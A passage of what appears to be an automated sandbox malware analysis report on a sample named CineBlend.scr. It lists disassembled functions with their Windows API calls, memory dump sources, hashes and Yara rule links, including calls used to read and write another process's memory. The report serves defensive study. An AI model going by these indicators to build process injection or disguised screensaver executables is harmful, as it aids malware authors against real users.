                                  • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B919AE
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: HeapInformationToken$AllocErrorLastProcess
                                  • String ID:
                                  • API String ID: 44706859-0
                                  • Opcode ID: 471c445f1756029b7448a68bcb2c470dfacd8ef6eb089f227603ef726cd6c67a
                                  • Instruction ID: 5c403e9d70452454f0445b21d9e3143f0b5569ac2ba3d66470f463767c79c8b1
                                  • Opcode Fuzzy Hash: 471c445f1756029b7448a68bcb2c470dfacd8ef6eb089f227603ef726cd6c67a
                                  • Instruction Fuzzy Hash: 7FF06279140301ABDB214F69EC59F563BADEF8D7A0F114424FE45D7250CE70D8028A60
                                  Function 00BA0CB6 Relevance: 7.5, APIs: 6, Instructions: 41COMMON
                                  Download Yara Rule
                                  APIs
                                  • CloseHandle.KERNEL32(?,?,?,?,00BA0B24,?,00BA3D41,?,00000001,00B73AF4,?), ref: 00BA0CCB
                                  • CloseHandle.KERNEL32(?,?,?,?,00BA0B24,?,00BA3D41,?,00000001,00B73AF4,?), ref: 00BA0CD8
                                  • CloseHandle.KERNEL32(?,?,?,?,00BA0B24,?,00BA3D41,?,00000001,00B73AF4,?), ref: 00BA0CE5
                                  • CloseHandle.KERNEL32(?,?,?,?,00BA0B24,?,00BA3D41,?,00000001,00B73AF4,?), ref: 00BA0CF2
                                  • CloseHandle.KERNEL32(?,?,?,?,00BA0B24,?,00BA3D41,?,00000001,00B73AF4,?), ref: 00BA0CFF
                                  • CloseHandle.KERNEL32(?,?,?,?,00BA0B24,?,00BA3D41,?,00000001,00B73AF4,?), ref: 00BA0D0C
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseHandle
                                  • String ID:
                                  • API String ID: 2962429428-0
                                  • Opcode ID: 15f11da3f5468da942ff7ae5067010ac94a91e0110772885bf9bde8c5d76a9e9
                                  • Instruction ID: cd48837ddb4ba965668f0230dd1246574636e74d4e632983a06321d0b0a769f4
                                  • Opcode Fuzzy Hash: 15f11da3f5468da942ff7ae5067010ac94a91e0110772885bf9bde8c5d76a9e9
                                  • Instruction Fuzzy Hash: F301DC72804B159FCB30AFA6D880812FAF9FE603257108A3ED09252921C7B0A848CE80
                                  Function 00B965AB Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDlgItem.USER32(?,000003E9), ref: 00B965BF
                                  • GetWindowTextW.USER32(00000000,?,00000100), ref: 00B965D6
                                  • MessageBeep.USER32(00000000), ref: 00B965EE
                                  • KillTimer.USER32(?,0000040A), ref: 00B9660A
                                  • EndDialog.USER32(?,00000001), ref: 00B96624
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: BeepDialogItemKillMessageTextTimerWindow
                                  • String ID:
                                  • API String ID: 3741023627-0
                                  • Opcode ID: 0a789493fb6c6c63536f0e357a320204dd7975fea3baf75256a2371b0fa7c0fc
                                  • Instruction ID: b58f12540fa3407c68e558f22b9c82ab3b5b2373ef54b69db6235ac9b79824f0
                                  • Opcode Fuzzy Hash: 0a789493fb6c6c63536f0e357a320204dd7975fea3baf75256a2371b0fa7c0fc
                                  • Instruction Fuzzy Hash: 08011D34500704ABEF215F20DE4EF967BB8FB14705F0106BAB586A20E1DFF4AA54CA95
                                  Function 00B6DABA Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00B6DAD2
                                    • Part of subcall function 00B62D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?), ref: 00B62D4E
                                    • Part of subcall function 00B62D38: GetLastError.KERNEL32(?,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?,?), ref: 00B62D60
                                  • _free.LIBCMT ref: 00B6DAE4
                                  • _free.LIBCMT ref: 00B6DAF6
                                  • _free.LIBCMT ref: 00B6DB08
                                  • _free.LIBCMT ref: 00B6DB1A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast
                                  • String ID:
                                  • API String ID: 776569668-0
                                  • Opcode ID: e44da39038936c77c564590e48552ec78b7fc339704204c47529ede0ca7b734b
                                  • Instruction ID: 5665225e9ccd087208b1f659f3e9e88106d92e60bd9c657f02d4aa449fac50d6
                                  • Opcode Fuzzy Hash: e44da39038936c77c564590e48552ec78b7fc339704204c47529ede0ca7b734b
                                  • Instruction Fuzzy Hash: 77F01232A49604AB9624EB99E981C2A77EEFE057507990CD5F009D7501CB38FC80C654
                                  Function 00B62610 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00B6262E
                                    • Part of subcall function 00B62D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?), ref: 00B62D4E
                                    • Part of subcall function 00B62D38: GetLastError.KERNEL32(?,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?,?), ref: 00B62D60
                                  • _free.LIBCMT ref: 00B62640
                                  • _free.LIBCMT ref: 00B62653
                                  • _free.LIBCMT ref: 00B62664
                                  • _free.LIBCMT ref: 00B62675
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast
                                  • String ID:
                                  • API String ID: 776569668-0
                                  • Opcode ID: 060113cb4de49315323c7a145f78ab5f257e99c6b65d13fe8b70d5d0fad1ea0d
                                  • Instruction ID: 6c4a29fafc7202c3114b12c47ca53567496490310b72227cfb6ce8507366108c
                                  • Opcode Fuzzy Hash: 060113cb4de49315323c7a145f78ab5f257e99c6b65d13fe8b70d5d0fad1ea0d
                                  • Instruction Fuzzy Hash: 82F0DA718019219BDA12AFD4EC05B5C7BE5FB257A134609ABF814D7275CB390901FF85
                                  Function 00B31EB9 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                  Download Yara Rule
                                  APIs
                                  • EndPath.GDI32(?), ref: 00B31EC8
                                  • StrokeAndFillPath.GDI32(?,?,00B73294,00000000,?,?,?), ref: 00B31EE4
                                  • SelectObject.GDI32(?,00000000), ref: 00B31EF7
                                  • DeleteObject.GDI32 ref: 00B31F0A
                                  • StrokePath.GDI32(?), ref: 00B31F25
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Path$ObjectStroke$DeleteFillSelect
                                  • String ID:
                                  • API String ID: 2625713937-0
                                  • Opcode ID: 91fd42776d3fdd9f8db5e055d4d84eeaed222849c5b9d3de1a259caaf5c2dae6
                                  • Instruction ID: efb96a85a13a3a2a54480b5d3856b712b792e008639ebc7e39284f78764afef0
                                  • Opcode Fuzzy Hash: 91fd42776d3fdd9f8db5e055d4d84eeaed222849c5b9d3de1a259caaf5c2dae6
                                  • Instruction Fuzzy Hash: 1EF0EC34005204AFDB169F1CED0DB683BA9FB49332F159269E469450F0CB3189A6EF51
                                  Function 00B612B7 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: __freea$_free
                                  • String ID: a/p$am/pm
                                  • API String ID: 3432400110-3206640213
                                  • Opcode ID: 74b8f880f023a41b99c62656613328dd5cc30b2776d9c276970131912a5c7643
                                  • Instruction ID: 6a3a84cea25e8fefcd0f97c7327b854c3ac4afbdd0909200a37b8cd2c5101247
                                  • Opcode Fuzzy Hash: 74b8f880f023a41b99c62656613328dd5cc30b2776d9c276970131912a5c7643
                                  • Instruction Fuzzy Hash: E6D104759102069ACB24DF6CC895BBAB7F5FF15300F2C49DAE9029B250D77D9D80CBA0
                                  Function 00B93063 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B9BDCA: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B92B1D,?,?,00000034,00000800,?,00000034), ref: 00B9BDF4
                                  • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00B930AD
                                    • Part of subcall function 00B9BD95: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B92B4C,?,?,00000800,?,00001073,00000000,?,?), ref: 00B9BDBF
                                    • Part of subcall function 00B9BCF1: GetWindowThreadProcessId.USER32(?,?), ref: 00B9BD1C
                                    • Part of subcall function 00B9BCF1: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B92AE1,00000034,?,?,00001004,00000000,00000000), ref: 00B9BD2C
                                    • Part of subcall function 00B9BCF1: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B92AE1,00000034,?,?,00001004,00000000,00000000), ref: 00B9BD42
                                  • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B9311A
                                  • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B93167
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                  • String ID: @
                                  • API String ID: 4150878124-2766056989
                                  • Opcode ID: 37ea34362e8d854dba2cd9905bf8d5faf233c1690a7a6194ec02c4798f798723
                                  • Instruction ID: 1bfe996f6aa1c6e4e9b59787173542d2bd508c3f90d0489eb95479ea025779ce
                                  • Opcode Fuzzy Hash: 37ea34362e8d854dba2cd9905bf8d5faf233c1690a7a6194ec02c4798f798723
                                  • Instruction Fuzzy Hash: 6D411676900218AFDF10DBA4CD85EEEBBF8EF49700F1040A5EA45B7191DA706E85CB60
                                  Function 00B61A9E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr,00000104), ref: 00B61AD9
                                  • _free.LIBCMT ref: 00B61BA4
                                  • _free.LIBCMT ref: 00B61BAE
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$FileModuleName
                                  • String ID: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr
                                  • API String ID: 2506810119-1382941048
                                  • Opcode ID: c04bf281c2f881d4916f369540bf050c7d080125d8b330dc74ede3aa3a29df5b
                                  • Instruction ID: 9edf771822efc503d4ddd3895bdd4143171aa08efdf52b3f3766de0ad7069b9f
                                  • Opcode Fuzzy Hash: c04bf281c2f881d4916f369540bf050c7d080125d8b330dc74ede3aa3a29df5b
                                  • Instruction Fuzzy Hash: 06315E71A00218AFDB21DF9DDC85EAEBBFCEF85710B1845E6E80497221E6748E41DB90
                                  Function 00B9CB28 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00B9CBB1
                                  • DeleteMenu.USER32(?,00000007,00000000), ref: 00B9CBF7
                                  • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00C029C0,00F15BA8), ref: 00B9CC40
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Menu$Delete$InfoItem
                                  • String ID: 0
                                  • API String ID: 135850232-4108050209
                                  • Opcode ID: aab06789594bde5b21380bacbb108452d3a0ac7f0de368b2fec6f2f6168b3221
                                  • Instruction ID: b53652cce57d12f7192e56c2f61bc7c0240cb05236db317702d309d38867aa98
                                  • Opcode Fuzzy Hash: aab06789594bde5b21380bacbb108452d3a0ac7f0de368b2fec6f2f6168b3221
                                  • Instruction Fuzzy Hash: A74191712043029FDB20DF24D985F5ABFE8EF89714F1446ADF5A997291DB30E904CBA2
                                  Function 00BC4EB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00BCDCD0,00000000,?,?,?,?), ref: 00BC4F48
                                  • GetWindowLongW.USER32 ref: 00BC4F65
                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BC4F75
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Long
                                  • String ID: SysTreeView32
                                  • API String ID: 847901565-1698111956
                                  • Opcode ID: 0308cf272bd74d0d11b04c8ed190ffee74c7b59354377b9272d317db0fe25ba6
                                  • Instruction ID: 05208de41001cbdbbea0f3eca17d760d98480538a4c67a550ecb4a727b495bf5
                                  • Opcode Fuzzy Hash: 0308cf272bd74d0d11b04c8ed190ffee74c7b59354377b9272d317db0fe25ba6
                                  • Instruction Fuzzy Hash: FA317A71214205AFDB218E78CC55FEA7BE9EB08334F214769F979A21E0DB70AD509B60
                                  Function 00BB3AAB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00BB3DB8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00BB3AD4,?,?), ref: 00BB3DD5
                                  • inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00BB3AD7
                                  • _wcslen.LIBCMT ref: 00BB3AF8
                                  • htons.WSOCK32(00000000,?,?,00000000), ref: 00BB3B63
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide_wcslenhtonsinet_addr
                                  • String ID: 255.255.255.255
                                  • API String ID: 946324512-2422070025
                                  • Opcode ID: c149b3d9d77bf2a5ffad22a135de1593b47ee7d97845c54ea6d841efdb95ffe3
                                  • Instruction ID: 88b25ecc2dc0b046edce69cbfef569300cd9275d199284594b6807bf3370c36f
                                  • Opcode Fuzzy Hash: c149b3d9d77bf2a5ffad22a135de1593b47ee7d97845c54ea6d841efdb95ffe3
                                  • Instruction Fuzzy Hash: FE3181396002019FCB20CF68C5C5EB97BE1EF54718F2481D9E8168B396D7B1EE46CB60
                                  Function 00BC4954 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00BC49DC
                                  • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00BC49F0
                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 00BC4A14
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$Window
                                  • String ID: SysMonthCal32
                                  • API String ID: 2326795674-1439706946
                                  • Opcode ID: 3b52b7d5ae158b7319f90e929f5e40a150b76bbc8e3d40be6ea30ff22d5ea6f3
                                  • Instruction ID: 8024736736fae315e4c9e2f66e4c5c067bf8044511648a3d20627fce28e0c511
                                  • Opcode Fuzzy Hash: 3b52b7d5ae158b7319f90e929f5e40a150b76bbc8e3d40be6ea30ff22d5ea6f3
                                  • Instruction Fuzzy Hash: 8221A032500229ABDF118F90CC46FEB3BA5EB48714F110258FA156B090DAB1A855DB90
                                  Function 00BC50F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00BC51A3
                                  • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00BC51B1
                                  • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00BC51B8
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$DestroyWindow
                                  • String ID: msctls_updown32
                                  • API String ID: 4014797782-2298589950
                                  • Opcode ID: fa7ec6bc45d5bc72dfe33f121ea837a983774c0ced7a75cb09f80423dfb27729
                                  • Instruction ID: 67133f671c5460808a0740e294437a70b6ad5c5dac88db40d64b43294f9527d7
                                  • Opcode Fuzzy Hash: fa7ec6bc45d5bc72dfe33f121ea837a983774c0ced7a75cb09f80423dfb27729
                                  • Instruction Fuzzy Hash: 1B218EB5600609AFDB10DF14CC85EAB37EDEB59364B040199FA00AB261CA30EC41CBA0
                                  Function 00BC4253 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00BC42DC
                                  • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00BC42EC
                                  • MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00BC4312
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$MoveWindow
                                  • String ID: Listbox
                                  • API String ID: 3315199576-2633736733
                                  • Opcode ID: 035b5eae0de03a225a3a7c8c640b9a14ea29833de855a44fae20c8a73e81c8f8
                                  • Instruction ID: b8783cff77829184ae936c09e2633b606fe93ef9c61dfc026d485d594516e105
                                  • Opcode Fuzzy Hash: 035b5eae0de03a225a3a7c8c640b9a14ea29833de855a44fae20c8a73e81c8f8
                                  • Instruction Fuzzy Hash: 8D218032610218BBEF118F94DC85FAB3BAEEB89764F118168F9009B190CB719C51CBA0
                                  Function 00BA5439 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetErrorMode.KERNEL32(00000001), ref: 00BA544D
                                  • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00BA54A1
                                  • SetErrorMode.KERNEL32(00000000,?,?,00BCDCD0), ref: 00BA5515
                                  Strings
                                  Memory Dump Source
